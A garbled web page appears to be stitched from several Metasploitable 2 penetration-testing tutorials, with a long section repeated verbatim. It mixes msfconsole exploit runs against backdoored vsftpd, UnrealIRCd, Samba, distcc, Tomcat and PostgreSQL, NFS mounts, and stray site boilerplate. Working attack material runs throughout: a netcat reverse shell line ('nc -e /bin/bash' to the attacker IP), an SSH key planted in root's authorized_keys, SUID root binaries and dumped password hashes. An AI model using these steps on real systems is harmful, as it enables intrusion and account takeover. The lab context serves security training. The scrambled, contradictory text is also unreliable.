to create URL http:////. Under the Module Options section of the above exploit there were the following commands to run: Note: The show targets & set TARGET steps are not necessary as 0 is the default. A vulnerability in the history component of TWiki is exploited by this module.
If so please share your comments below.
Name Current Setting Required Description
Using the UPDATE pg_largeobject binary injection method, this module compiles a Linux shared object file, uploads it to your target host, and generates a UDF (user-defined function) by that shared object. [*] Command: echo VhuwDGXAoBmUMNcg;
[*] USER: 331 Please specify the password.
Therefore, well stop here. If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state.
payload => cmd/unix/interact
Metasploit is a penetration testing framework that helps you find and exploit vulnerabilities in systems.
---- --------------- -------- -----------
[*] Command: echo qcHh6jsH8rZghWdi;
THREADS 1 yes The number of concurrent threads
payload => cmd/unix/reverse
msf exploit(vsftpd_234_backdoor) > exploit
So all we have to do is use the remote shell program to log in: Last login: Wed May 7 11:00:37 EDT 2021 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686. The two dashes then comment out the remaining Password validation within the executed SQL statement. Metasploitable 3 is the updated version based on Windows Server 2008. RPORT 5432 yes The target port
The example below uses a Metasploit module to provide access to the root filesystem using an anonymous connection and a writeable share.
Metasploitable 2 offers the researcher several opportunities to use the Metasploit framework to practice penetration testing. Once we get a clear vision on the open ports, we can start enumerating them to see and find the running services alongside their version.
Step 8: Display all the user tables in information_schema. [*] Matching
Least significant byte first in each pixel. Additionally, open ports are enumerated nmap along with the services running. [*] Accepted the second client connection
In the next section, we will walk through some of these vectors. We looked for netcat on the victims command line, and luckily, it is installed: So well compile and send the exploit via netcat.
22.
Name Current Setting Required Description
The following command line will scan all TCP ports on the Metasploitable 2 instance: Nearly every one of these listening services provides a remote entry point into the system. ---- --------------- -------- -----------
LHOST => 192.168.127.159
Using Exploits. Name Current Setting Required Description
msf > use exploit/multi/misc/java_rmi_server
Exploit target:
So, lets set it up: mkdir /metafs # this will be the mount point, mount -t nfs 192.168.127.154:/ /metafs -o nolock # mount the remote shared directory as nfs and disable file locking.
msf exploit(drb_remote_codeexec) > show options
Copyright 2023 HackingLoops All Rights Reserved, nmap -p1-65535 -A 192.168.127.154
List of known vulnerabilities and exploits . Metasploit is a free open-source tool for developing and executing exploit code. In the current version as of this writing, the applications are. Start/Stop Stop: Open services.msc.
It aids the penetration testers in choosing and configuring of exploits. Same as login.php. ---- --------------- -------- -----------
The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. The hackers exploited a permission vulnerability and profited about $1 million by manipulating the price of the token [*] Writing payload executable (274 bytes) to /tmp/rzIcSWveTb
First, whats Metasploit? CVEdetails.com is a free CVE security vulnerability database/information source. msf exploit(java_rmi_server) > show options
This will be the address you'll use for testing purposes.
0 Automatic
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
Upon a hit, Youre going to see something like: After you find the key, you can use this to log in via ssh: as root. 17,011.
[*] Command shell session 1 opened (192.168.127.159:57936 -> 192.168.127.154:6200) at 2021-02-06 22:42:36 +0300
Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. gcc root.c -o rootme (This will compile the C file to executable binary) Step 12: Copy the compiled binary to the msfadmin directory in NFS share. Once the VM is available on your desktop, open the device, and run it with VMWare Player.
[*] B: "D0Yvs2n6TnTUDmPF\r\n"
The main purpose of this vulnerable application is network testing. Lets begin by pulling up the Mutillidae homepage: Notice that the Security Level is set to 0, Hints is also set to 0, and that the user is not Logged In.
payload => cmd/unix/reverse
msf auxiliary(tomcat_administration) > run
However, the exact version of Samba that is running on those ports is unknown. [*] 192.168.127.154:5432 Postgres - Disconnected
How to Use Metasploit's Interface: msfconsole. LHOST => 192.168.127.159
Every CVE Record added to the list is assigned and published by a CNA.
---- --------------- -------- -----------
In Part 1 of this article we covered some examples of Service vulnerabilities, Server backdoors, and Web Application vulnerabilities.
msf exploit(udev_netlink) > show options
Next, you will get to see the following screen.
Id Name
RHOST 192.168.127.154 yes The target address
Below is the homepage served from the web server on Metasploitable and accessed via Firefox on Kali Linux: Features of DVWA v1.0.7 accessible from the menu include: A More Info section is included on each of the vulnerability pages which contains links to additional resources about the vulnerability. root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/, root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys, Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128, root@ubuntu:~# telnet 192.168.99.131 6200, msf > use exploit/unix/irc/unreal_ircd_3281_backdoor, msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131, msf exploit(unreal_ircd_3281_backdoor) > exploit.
Compatible Payloads
[*] 192.168.127.154:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
We dont really want to deprive you of practicing new skills. From the shell, run the ifconfig command to identify the IP address.
[*] Command: echo ZeiYbclsufvu4LGM;
It is intended to be used as a target for testing exploits with metasploit. ---- --------------- -------- -----------
Metasploitable 2 is a vulnerable system that I chose to use, as using any other system to do this on would be considering hacking and have could have bad consequences. The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. You could log on without a password on this machine.
PASSWORD no A specific password to authenticate with
URI /twiki/bin yes TWiki bin directory path
The Nessus scan showed that the password password is used by the server. 0 Automatic
[*] Matching
Use the showmount Command to see the export list of the NFS server. About Press Copyright Contact us Creators Advertise Developers Terms Privacy Policy & Safety How YouTube works Test new features NFL Sunday Ticket Press Copyright .
To begin, Nessus wants us to input a range of IP addresses so that we can discover some targets to scan. SMBPass no The Password for the specified username
[*] Reading from sockets
Metasploitable3 is a VM that is built from the ground up with a large amount of security vulnerabilities. Proxies no Use a proxy chain
RHOST 192.168.127.154 yes The target address
One way to accomplish this is to install Metasploitable 2 as a guest operating system in Virtual Box and change the network interface settings from "NAT" to "Host Only".
msf exploit(udev_netlink) > exploit
ssh -l root -p 22 -i 57c3115d77c56390332dc5c49978627a-5429 192.168.127.154. For the final challenge you'll be conducting a short and simple vulnerability assessment of the Metasploitable 2 system, by launching your own vulnerability scans using Nessus, and reporting on the vulnerabilities and flaws that are discovered. msf auxiliary(telnet_version) > run
-- ----
msf2 has an rsh-server running and allowing remote connectivity through port 513.
Type \c to clear the current input statement. :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead. The first of which installed on Metasploitable2 is distccd. VHOST no HTTP server virtual host
The login for Metasploitable 2 is msfadmin:msfadmin.
RPORT => 8180
---- --------------- -------- -----------
Searching for exploits for Java provided something intriguing: Java RMI Server Insecure Default Configuration Java Code Execution.
-- ----
now you can do some post exploitation. whoami
Name Current Setting Required Description
The CVE List is built by CVE Numbering Authorities (CNAs). Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Have you used Metasploitable to practice Penetration Testing? [*] Started reverse double handler
RHOST => 192.168.127.154
When running as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. RHOSTS yes The target address range or CIDR identifier
I thought about closing ports but i read it isn't possible without killing processes. Name Current Setting Required Description
We will now exploit the argument injection vulnerability of PHP 2.4.2 using Metasploit. It is freely available and can be extended individually, which makes it very versatile and flexible.
Effectively what happens is that the Name validation is made to always be true by closing off the field with a single quote and using the OR operator. After you have downloaded the Metasploitable 2 file, you will need to unzip the file to see its contents. There are a number of intentionally vulnerable web applications included with Metasploitable. [*] A is input
Metasploitable Databases: Exploiting MySQL with Metasploit: Metasploitable/MySQL. Step 7: Display all tables in information_schema. cmd/unix/interact normal Unix Command, Interact with Established Connection
Module options (exploit/multi/samba/usermap_script):
Metasploitable 2 has deliberately vulnerable web applications pre-installed. By default, msfconsole opens up with a banner; to remove that and start the interface in quiet mode, use the msfconsole command with the -q flag. Set the SUID bit using the following command: chmod 4755 rootme. [*] Started reverse handler on 192.168.127.159:4444
SRVHOST 0.0.0.0 yes The local host to listen on.
RHOSTS yes The target address range or CIDR identifier
Step 2: Vulnerability Assessment. In this article, we'll look at how this framework within Kali Linux can be used to attack a Windows 10 machine. You can do so by following the path: Applications Exploitation Tools Metasploit. RPORT 21 yes The target port
This is the action page.
DATABASE template1 yes The database to authenticate against
USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line
msf exploit(postgres_payload) > show options
PASSWORD no The Password for the specified username
Vulnerable Products: Microsoft Office 2007 SP3/2010 SP2/2013 SP1/2016, Vista SP2, Server 2008 SP2, Windows 7 SP1, Windows 8.1. VHOST no HTTP server virtual host
msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.127.154
msf exploit(java_rmi_server) > exploit
[*] Started reverse handler on 192.168.127.159:8888
Exploit target:
Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable . Redirect the results of the uname -r command into file uname.txt. RMI method calls do not support or need any kind of authentication. [*] Auxiliary module execution completed, msf > use exploit/unix/webapp/twiki_history
The nmap command uses a few flags to conduct the initial scan. PASSWORD no The Password for the specified username
Alternatively, you can also use VMWare Workstation or VMWare Server. To build a new virtual machine, open VirtualBox and click the New button.
This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. The Metasploit Framework from Rapid7 is one of the best-known frameworks in the area of vulnerability analysis, and is used by many Red Teams and penetration testers worldwide. RHOST yes The target address
In addition to these system-level accounts, the PostgreSQL service can be accessed with username postgres and password postgres, while the MySQL service is open to username root with an empty password. 0 Automatic Target
Armitage is very user friendly. -- ----
Have you used Metasploitable to practice Penetration Testing?
In this lab we learned how to perform reconnaissance on a target to discover potential system vulnerabilities. [*] Started reverse handler on 192.168.127.159:4444
Name Disclosure Date Rank Description
Next we can mount the Metasploitable file system so that it is accessible from within Kali: This is an example of a configuration problem that allows a lot of valuable information to be disclosed to potential attackers.
This document will continue to expand over time as many of the less obvious flaws with this platform are detailed.
PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used)
0 Automatic
Lets see what that implies first: TCP Wrapper is a host-based network access control system that is used in operating systems such as Linux or BSD for filtering network access to Internet Protocol (IP) servers. msf exploit(unreal_ircd_3281_backdoor) > show options
[*] A is input
msf exploit(tomcat_mgr_deploy) > show option
Name Current Setting Required Description
But unfortunately everytime i perform scan with the . Name Current Setting Required Description
Same as credits.php.
Part 2 - Network Scanning. For network clients, it acknowledges and runs compilation tasks. Metasploitable 2 is a straight-up download. [*] Writing to socket B
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Leave blank for a random password. An exploit executes a sequence of commands that target a specific vulnerability found in a system or application to provide the attacker with access to the system. PASSWORD no The Password for the specified username. What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. [*] Accepted the second client connection
The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the Metasploit module usage below. [*] Command shell session 2 opened (192.168.127.159:4444 -> 192.168.127.154:33383) at 2021-02-06 23:03:13 +0300
[*] Uploading 13833 bytes as RuoE02Uo7DeSsaVp7nmb79cq.war
Module options (exploit/multi/http/tomcat_mgr_deploy):
URIPATH no The URI to use for this exploit (default is random)
A malicious backdoor that was introduced to the Unreal IRCD 3.2.8.1 download archive is exploited by this module.
RHOST yes The target address
For instance, to use native Windows payloads, you need to pick the Windows target. Loading of any arbitrary web page on the Interet or locally including the sites password files.Phishing, SQL injection to dump all usernames and passwords via the username field or the password fieldXSS via any of the displayed fields. The interface looks like a Linux command-line shell. msf exploit(drb_remote_codeexec) > set LHOST 192.168.127.159
Do you have any feedback on the above examples? A Computer Science portal for geeks.
Module options (auxiliary/scanner/telnet/telnet_version):
USERNAME no The username to authenticate as
Step 4: Display Database Version. This must be an address on the local machine or 0.0.0.0
Depending on the order in which guest operating systems are started, the IP address of Metasploitable 2 will vary.
---- --------------- -------- -----------
It is a pre-built virtual machine, and therefore it is simple to install.
Once you open the Metasploit console, you will get to see the following screen. Display the contents of the newly created file.
Meterpreter sessions will autodetect
We can read the passwords now and all the rest: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. DATABASE template1 yes The database to authenticate against
Metasploitable 2 is a deliberately vulnerable Linux installation.
[*] Reading from socket B
Id Name
Id Name
RHOST 192.168.127.154 yes The target address
So weregoing to connect to it using vncviewer: Connected to RFB server, using protocol version 3.3, Desktop name roots X desktop (metasploitable:0). The next service we should look at is the Network File System (NFS).
msf exploit(twiki_history) > set payload cmd/unix/reverse
whoami
msf exploit(vsftpd_234_backdoor) > set payload cmd/unix/interact
Pentesting Vulnerabilities in Metasploitable (part 1), How To install NetHunter Rootless Edition, TWiki History TWikiUsers rev Parameter Command Execution, PHPIDS (PHP-Intrusion Detection System enable/disable). DB_ALL_PASS false no Add all passwords in the current database to the list
This is the action page, SQL injection and XSS via the username, signature and password field, Contains directories that are supposed to be private, This page gives hints about how to discover the server configuration, Cascading style sheet injection and XSS via the color field, Denial of Service if you fill up the logXSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields, XSS via the user agent string HTTP header.
Be sure your Kali VM is in "Host-only Network" before starting the scan, so you can communicate with your target Metasploitable VM.
TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation). msf auxiliary(telnet_version) > show options
msf exploit(postgres_payload) > use exploit/linux/local/udev_netlink
Just enter ifconfig at the prompt to see the details for the virtual machine.
[*], msf > use exploit/multi/http/tomcat_mgr_deploy
root.
0 Automatic
0 Linux x86
In this article we continue to demonstrate discovering & exploiting some of the intentional vulnerabilities within a Metasploitable penetration testing target. So lets try out every port and see what were getting. Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit.This set of articles discusses the RED TEAM's tools and routes of attack.
BLANK_PASSWORDS false no Try blank passwords for all users
Enable hints in the application by click the "Toggle Hints" button on the menu bar: The Mutillidae application contains at least the following vulnerabilities on these respective pages: SQL Injection on blog entrySQL Injection on logged in user nameCross site scripting on blog entryCross site scripting on logged in user nameLog injection on logged in user nameCSRFJavaScript validation bypassXSS in the form title via logged in usernameThe show-hints cookie can be changed by user to enable hints even though they are not supposed to show in secure mode, System file compromiseLoad any page from any site, XSS via referer HTTP headerJS Injection via referer HTTP headerXSS via user-agent string HTTP header, Contains unencrytped database credentials. This document outlines many of the security flaws in the Metasploitable 2 image. USER_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_user.txt no File containing users, one per line
Andrea Fortuna. Its GUI has three distinct areas: Targets, Console, and Modules. [*] Started reverse double handler
LHOST => 192.168.127.159
The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities.
Step 1: Setup DVWA for SQL Injection. Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux, msf > use auxiliary/scanner/telnet/telnet_version
Step 3: Set the memory size to 512 MB, which is adequate for Metasploitable2.
This particular version contains a backdoor that was slipped into the source code by an unknown intruder. The account root doesnt have a password. whoami
NOTE: Compatible payload sets differ on the basis of the target selected.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Metasploit has a module to exploit this in order to gain an interactive shell, as shown below.
From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner.
RHOST => 192.168.127.154
Lets first see what relevant information we can obtain using the Tomcat Administration Tool Default Access module: With credentials, we are now able to use the Apache Tomcat Manager Application Deployer Authenticated Code Execution exploit: You may use this module to execute a payload on Apache Tomcat servers that have a manager application that is exposed. UnrealIRCD 3.2.8.1 Backdoor Command Execution | Metasploit Exploit Database (DB)
[*] Successfully sent exploit request
Description.
[*] Found shell. If so please share your comments below. Matching Modules
msf exploit(usermap_script) > exploit
Notice that it does not function against Java Management Extension (JMX) ports as they do not allow remote class loading unless some other RMI endpoint is active in the same Java process. : CVE-2009-1234 or 2010-1234 or 20101234) Stop the Apache Tomcat 8.0 Tomcat8 service.
LPORT 4444 yes The listen port
msf exploit(twiki_history) > show options
Mutillidae has numerous different types of web application vulnerabilities to discover and with varying levels of difficulty to learn from and challenge budding Pentesters. [+] 192.168.127.154:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres'
Metasploitable is an intentionally vulnerable Linux virtual machine that can be used to conduct security training, test security tools, and practice common penetration testing techniques. payload => cmd/unix/reverse
[*] Sending backdoor command
[*] Undeploying RuoE02Uo7DeSsaVp7nmb79cq
now i just started learning about penetration testing, unfortunately now i am facing a problem, i just installed GVM / OpenVas version 21.4.1 on a vm with kali linux 2020.4 installed, and in the other vm i have metasploitable2 installed both vm network are set with bridged, so they can ping each other because they are on the same network. Here is a brief outline of the environment being used: First we need to list what services are visible on the target: This shows that NFS (Network File System) uses port 2049 so next lets determine what shares are being exported: The showmount command tells us that the root / of the file system is being shared. :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.127.154
It aids the penetration testers in choosing and configuring of exploits.
Within Metasploitable edit the following file via command: Next change the following line then save the file: In Kali Linux bring up the Mutillidae web application in the browser as before and click the Reset DB button to re-initialize the database. ===================
The following sections describe the requirements and instructions for setting up a vulnerable target. Description: In this video I will show you how to exploit remote vulnerabilities on Metasploitable -2 . Relist the files & folders in time descending order showing the newly created file.
RHOST yes The target address
[*] 192.168.127.154:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
This must be an address on the local machine or 0.0.0.0
PASSWORD => tomcat
The major purpose why use of such virtual machines is done could be for conducting security trainings, testing of security tools, or simply for practicing the commonly known techniques of penetration testing. msf exploit(distcc_exec) > exploit
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154
Access To access the vulnerable application, point your browser on Metasploitable3 to http://localhost:8282/struts2-rest-showcase To access the Apache Tomcat Manager, point your browser on Metasploitable3 to http://localhost:8282.
Lets go ahead. Between November 2009 and June 12, 2010, this backdoor was housed in the Unreal3.2.8.1.tar.gz archive. More investigation would be needed to resolve it. Id Name
(Note: See a list with command ls /var/www.)
Application Security AppSpider Test your web applications with our on-premises Dynamic Application Security Testing (DAST) solution. The primary administrative user msfadmin has a password matching the username. USERNAME postgres yes The username to authenticate as
PASSWORD => postgres
-- ----
---- --------------- -------- -----------
echo 'nc -e /bin/bash 192.168.127.159 5555' >> /tmp/run, nc: connect to 192.168.127.159 5555 from 192.168.127.154 (192.168.127.154) 35539 [35539]
rapid7/metasploitable3 Wiki. 0 Linux x86
USERNAME postgres no A specific username to authenticate as
---- --------------- -------- -----------
Thus, we can infer that the port is TCP Wrapper protected.
Use TWiki to run a project development space, a document management system, a knowledge base or any other groupware tool on either on an intranet or on the Internet. SRVPORT 8080 yes The local port to listen on. ================
TOMCAT_USER no The username to authenticate as
Cross site scripting on the host/ip fieldO/S Command injection on the host/ip fieldThis page writes to the log. Help Command A command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 is exploited by this module while using the non-default Username Map Script configuration option. Name Current Setting Required Description
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154
The ++ signifies that all computers should be treated as friendlies and be allowed to . msf auxiliary(tomcat_administration) > show options
Module options (exploit/unix/webapp/twiki_history):
We can escalate our privileges using the earlier udev exploit, so were not going to go over it again. Module options (auxiliary/scanner/smb/smb_version):
URI yes The dRuby URI of the target host (druby://host:port)
To transfer commands and data between processes, DRb uses remote method invocation (RMI).
For this, Metasploit has an exploit available: A documented security flaw is used by this module to implement arbitrary commands on any system operating distccd. [*] Auxiliary module execution completed, msf > use exploit/multi/samba/usermap_script
Next, place some payload into /tmp/run because the exploit will execute that. msf exploit(usermap_script) > set RHOST 192.168.127.154
The-e flag is intended to indicate exports: Oh, how sweet! 192.168.56/24 is the default "host only" network in Virtual Box. Starting Nmap 6.46 (, msf > search vsftpd
The results from our nmap scan show that the ssh service is running (open) on a lot of machines.
msf exploit(distcc_exec) > set payload cmd/unix/reverse
[*] Command shell session 4 opened (192.168.127.159:8888 -> 192.168.127.154:33966) at 2021-02-06 23:51:01 +0300
Combining Nmap with Metasploit for a more detailed and in-depth scan on the client machine.
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Yet weve got the basics covered. DVWA contains instructions on the home page and additional information is available at Wiki Pages - Damn Vulnerable Web App. Step 3: Always True Scenario. msf auxiliary(postgres_login) > set RHOSTS 192.168.127.154
According to the most recent available information, this backdoor was added to the vsftpd-2.3.4.tar.gz archive between June 30, 2011, and July 1, 2011. Perform a ping of IP address 127.0.0.1 three times. Here is the list of remote server databases: information_schema dvwa metasploit mysql owasp10 tikiwiki tikiwiki195. All right, there are a lot of services just awaitingour consideration. In this series of articles we demonstrate how to discover & exploit some of the intentional vulnerabilities within the Metasploitable pentesting target.
It is also instrumental in Intrusion Detection System signature development.
The Rapid7 Metasploit community has developed a machine with a range of vulnerabilities.
msf exploit(usermap_script) > set RPORT 445
WritableDir /tmp yes A directory where we can write files (must not be mounted noexec)
0 Automatic Target
At a minimum, the following weak system accounts are configured on the system.
On July 3, 2011, this backdoor was eliminated.
We have found the following appropriate exploit: TWiki History TWikiUsers rev Parameter Command Execution.
Inspired by DVWA, Mutillidae allows the user to change the "Security Level" from 0 (completely insecure) to 5 (secure). Id Name
Individual web applications may additionally be accessed by appending the application directory name onto http:// to create URL http:////. Under the Module Options section of the above exploit there were the following commands to run: Note: The show targets & set TARGET steps are not necessary as 0 is the default. A vulnerability in the history component of TWiki is exploited by this module.
If so please share your comments below.
Name Current Setting Required Description
Using the UPDATE pg_largeobject binary injection method, this module compiles a Linux shared object file, uploads it to your target host, and generates a UDF (user-defined function) by that shared object. [*] Command: echo VhuwDGXAoBmUMNcg;
[*] USER: 331 Please specify the password.
Therefore, well stop here. If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state.
payload => cmd/unix/interact
Metasploit is a penetration testing framework that helps you find and exploit vulnerabilities in systems.
---- --------------- -------- -----------
[*] Command: echo qcHh6jsH8rZghWdi;
THREADS 1 yes The number of concurrent threads
payload => cmd/unix/reverse
msf exploit(vsftpd_234_backdoor) > exploit
So all we have to do is use the remote shell program to log in: Last login: Wed May 7 11:00:37 EDT 2021 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686. The two dashes then comment out the remaining Password validation within the executed SQL statement. Metasploitable 3 is the updated version based on Windows Server 2008. RPORT 5432 yes The target port
The example below uses a Metasploit module to provide access to the root filesystem using an anonymous connection and a writeable share.
Metasploitable 2 offers the researcher several opportunities to use the Metasploit framework to practice penetration testing. Once we get a clear vision on the open ports, we can start enumerating them to see and find the running services alongside their version.
Step 8: Display all the user tables in information_schema. [*] Matching
Least significant byte first in each pixel. Additionally, open ports are enumerated nmap along with the services running. [*] Accepted the second client connection
In the next section, we will walk through some of these vectors. We looked for netcat on the victims command line, and luckily, it is installed: So well compile and send the exploit via netcat.
22.
Name Current Setting Required Description
The following command line will scan all TCP ports on the Metasploitable 2 instance: Nearly every one of these listening services provides a remote entry point into the system. ---- --------------- -------- -----------
LHOST => 192.168.127.159
Using Exploits. Name Current Setting Required Description
msf > use exploit/multi/misc/java_rmi_server
Exploit target:
So, lets set it up: mkdir /metafs # this will be the mount point, mount -t nfs 192.168.127.154:/ /metafs -o nolock # mount the remote shared directory as nfs and disable file locking.
msf exploit(drb_remote_codeexec) > show options
Copyright 2023 HackingLoops All Rights Reserved, nmap -p1-65535 -A 192.168.127.154
List of known vulnerabilities and exploits . Metasploit is a free open-source tool for developing and executing exploit code. In the current version as of this writing, the applications are. Start/Stop Stop: Open services.msc.
It aids the penetration testers in choosing and configuring of exploits. Same as login.php. ---- --------------- -------- -----------
The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. The hackers exploited a permission vulnerability and profited about $1 million by manipulating the price of the token [*] Writing payload executable (274 bytes) to /tmp/rzIcSWveTb
First, whats Metasploit? CVEdetails.com is a free CVE security vulnerability database/information source. msf exploit(java_rmi_server) > show options
This will be the address you'll use for testing purposes.
0 Automatic
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
Upon a hit, Youre going to see something like: After you find the key, you can use this to log in via ssh: as root. 17,011.
[*] Command shell session 1 opened (192.168.127.159:57936 -> 192.168.127.154:6200) at 2021-02-06 22:42:36 +0300
Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. gcc root.c -o rootme (This will compile the C file to executable binary) Step 12: Copy the compiled binary to the msfadmin directory in NFS share. Once the VM is available on your desktop, open the device, and run it with VMWare Player.
[*] B: "D0Yvs2n6TnTUDmPF\r\n"
The main purpose of this vulnerable application is network testing. Lets begin by pulling up the Mutillidae homepage: Notice that the Security Level is set to 0, Hints is also set to 0, and that the user is not Logged In.
payload => cmd/unix/reverse
msf auxiliary(tomcat_administration) > run
However, the exact version of Samba that is running on those ports is unknown. [*] 192.168.127.154:5432 Postgres - Disconnected
How to Use Metasploit's Interface: msfconsole. LHOST => 192.168.127.159
Every CVE Record added to the list is assigned and published by a CNA.
---- --------------- -------- -----------
In Part 1 of this article we covered some examples of Service vulnerabilities, Server backdoors, and Web Application vulnerabilities.
msf exploit(udev_netlink) > show options
Next, you will get to see the following screen.
Id Name
RHOST 192.168.127.154 yes The target address
Below is the homepage served from the web server on Metasploitable and accessed via Firefox on Kali Linux: Features of DVWA v1.0.7 accessible from the menu include: A More Info section is included on each of the vulnerability pages which contains links to additional resources about the vulnerability. root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/, root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys, Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128, root@ubuntu:~# telnet 192.168.99.131 6200, msf > use exploit/unix/irc/unreal_ircd_3281_backdoor, msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131, msf exploit(unreal_ircd_3281_backdoor) > exploit.
Compatible Payloads
[*] 192.168.127.154:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
We dont really want to deprive you of practicing new skills. From the shell, run the ifconfig command to identify the IP address.
[*] Command: echo ZeiYbclsufvu4LGM;
It is intended to be used as a target for testing exploits with metasploit. ---- --------------- -------- -----------
Metasploitable 2 is a vulnerable system that I chose to use, as using any other system to do this on would be considering hacking and have could have bad consequences. The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. You could log on without a password on this machine.
PASSWORD no A specific password to authenticate with
URI /twiki/bin yes TWiki bin directory path
The Nessus scan showed that the password password is used by the server. 0 Automatic
[*] Matching
Use the showmount Command to see the export list of the NFS server. About Press Copyright Contact us Creators Advertise Developers Terms Privacy Policy & Safety How YouTube works Test new features NFL Sunday Ticket Press Copyright .
To begin, Nessus wants us to input a range of IP addresses so that we can discover some targets to scan. SMBPass no The Password for the specified username
[*] Reading from sockets
Metasploitable3 is a VM that is built from the ground up with a large amount of security vulnerabilities. Proxies no Use a proxy chain
RHOST 192.168.127.154 yes The target address
One way to accomplish this is to install Metasploitable 2 as a guest operating system in Virtual Box and change the network interface settings from "NAT" to "Host Only".
msf exploit(udev_netlink) > exploit
ssh -l root -p 22 -i 57c3115d77c56390332dc5c49978627a-5429 192.168.127.154. For the final challenge you'll be conducting a short and simple vulnerability assessment of the Metasploitable 2 system, by launching your own vulnerability scans using Nessus, and reporting on the vulnerabilities and flaws that are discovered. msf auxiliary(telnet_version) > run
-- ----
msf2 has an rsh-server running and allowing remote connectivity through port 513.
Type \c to clear the current input statement. :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead. The first of which installed on Metasploitable2 is distccd. VHOST no HTTP server virtual host
The login for Metasploitable 2 is msfadmin:msfadmin.
RPORT => 8180
---- --------------- -------- -----------
Searching for exploits for Java provided something intriguing: Java RMI Server Insecure Default Configuration Java Code Execution.
-- ----
now you can do some post exploitation. whoami
Name Current Setting Required Description
The CVE List is built by CVE Numbering Authorities (CNAs). Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Have you used Metasploitable to practice Penetration Testing? [*] Started reverse double handler
RHOST => 192.168.127.154
When running as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. RHOSTS yes The target address range or CIDR identifier
I thought about closing ports but i read it isn't possible without killing processes. Name Current Setting Required Description
We will now exploit the argument injection vulnerability of PHP 2.4.2 using Metasploit. It is freely available and can be extended individually, which makes it very versatile and flexible.
Effectively what happens is that the Name validation is made to always be true by closing off the field with a single quote and using the OR operator. After you have downloaded the Metasploitable 2 file, you will need to unzip the file to see its contents. There are a number of intentionally vulnerable web applications included with Metasploitable. [*] A is input
Metasploitable Databases: Exploiting MySQL with Metasploit: Metasploitable/MySQL. Step 7: Display all tables in information_schema. cmd/unix/interact normal Unix Command, Interact with Established Connection
Module options (exploit/multi/samba/usermap_script):
Metasploitable 2 has deliberately vulnerable web applications pre-installed. By default, msfconsole opens up with a banner; to remove that and start the interface in quiet mode, use the msfconsole command with the -q flag. Set the SUID bit using the following command: chmod 4755 rootme. [*] Started reverse handler on 192.168.127.159:4444
SRVHOST 0.0.0.0 yes The local host to listen on.
